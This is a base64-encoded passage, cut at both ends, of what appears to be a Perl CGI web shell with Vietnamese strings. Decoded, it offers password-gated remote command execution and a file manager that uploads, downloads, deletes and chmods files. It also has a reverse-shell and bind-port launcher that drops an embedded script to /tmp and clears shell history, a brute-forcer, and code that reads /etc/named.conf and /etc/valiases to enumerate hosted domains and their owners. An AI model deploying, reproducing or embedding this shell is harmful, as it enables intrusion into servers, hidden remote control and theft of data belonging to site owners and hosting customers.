ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJl